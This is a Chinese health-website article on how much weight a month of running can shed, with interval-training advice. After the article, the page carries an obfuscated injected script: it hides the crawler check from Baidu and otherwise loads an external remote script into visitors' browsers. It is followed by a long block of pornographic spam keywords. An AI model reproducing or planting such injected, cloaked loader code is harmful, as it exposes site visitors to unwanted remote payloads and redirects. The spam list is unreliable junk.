當前位置:首頁 > 減肥 > 運動減肥 > 正文

堅持跑步一個月能瘦多少?

2017-03-03 10:23:58  來源:360常識網   熱度:
導語:在跑第二圈的時候,要用比第一圈少5~10秒的時間完成。然后散步或慢跑1分鐘進行休息放松。然后開始跑第三圈,所用的速度要比第二圈再少5~10秒。慢跑多久能減肥?

堅持跑步一個月能瘦多少?

堅持跑步一個月能瘦多少?

堅持跑步一個月能瘦多少?

在短期內取得理想結果是不可能的,只有經常鍛煉才會提高鍛煉水平。如果一周只跑一次,跑的距離再長也沒有多少益處。因為在中斷跑步的六天里,身體組織已將跑步帶來的好處消耗得一干二凈。因此,一周內跑步不得少于三次。平常缺乏鍛煉的人,一旦決心開始經常性鍛煉后,往往運動過量,這樣會導致不良后果。

如果能夠堅持每周跑步三次,再加上合理的飲食結構,一個月瘦4-5斤應該是沒有什么問題的。

每次跑步多久才燃脂

每天跑步30分鐘可以減肥。首先非常放松地跑5分鐘,把它當作是熱身準備活動。然后加速跑30秒,接著再用30秒把速度放慢,最后再快跑60秒。最后這60秒的速度比30秒加速跑的速度要快些,但不是要達到短跑沖刺的速度,應該是逐漸加速,以自己盡可能快的速度跑步。中間的30秒也不是慢跑,只不過是放慢步伐,為下一階段的快跑“緩存”一下。

找到一條沒有機動車輛通過的環行路,以3~5分鐘的時間不費力氣地跑完全程。做完熱身準備活動后,環形速度跑開始了,要記錄時間了。在跑第二圈的時候,要用比第一圈少5~10秒的時間完成。然后散步或慢跑1分鐘進行休息放松。然后開始跑第三圈,所用的速度要比第二圈再少5~10秒。慢跑多久能減肥?做3到5組這樣的練習,每組用的時間都要比上一組少5~10秒。最后讓身體平靜下來,鍛煉就完成了。

每天慢跑30分鐘以上是最利于減肥的,但是一次強力鍛煉的時間不宜超過30分鐘,否則會產生饑餓感。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产成人无码精品久久久免费| 亚洲精品在线不卡| 麻豆国产VA免费精品高清在线 | 国产在线高清精品二区色五郎| 久久夜色精品国产噜噜亚洲AV| 精品国自产拍天天拍2021| 亚洲依依成人精品| 亚洲乱码精品久久久久..| 国产乱子伦精品视频| 国产精品久久久久久福利漫画| 99精品国产99久久久久久97| 99精品视频在线观看免费| 久久亚洲精品11p| 91精品啪在线观看国产线免费| 国产精品亚洲玖玖玖在线观看| 欧美人妻少妇精品久久黑人| 日韩精品乱码AV一区二区| 在线精品国产一区二区三区 | 99热在线精品免费播放6| 久草热久草热线频97精品| 无码日韩人妻精品久久| 久久精品国产亚洲AV久 | 国产精品久久自在自线观看| 国产精品特级毛片一区二区三区| 手机日韩精品视频在线看网站| 亚洲精品久久无码| 国产精品1024香蕉在线观看| 欧洲精品久久久av无码电影| 久久91综合国产91久久精品| 久草热久草热线频97精品| 一区二区三区免费精品视频| 日韩精品一区二区三区毛片| 麻豆精品无码国产在线果冻| 久久精品视频99| 日本加勒比在线精品视频| 久クク成人精品中文字幕| 无码囯产精品一区二区免费 | 精品久久久久久无码中文字幕一区| 99久久人妻精品免费一区| 亚洲国产精品无码AAA片| 中文国产成人精品少久久|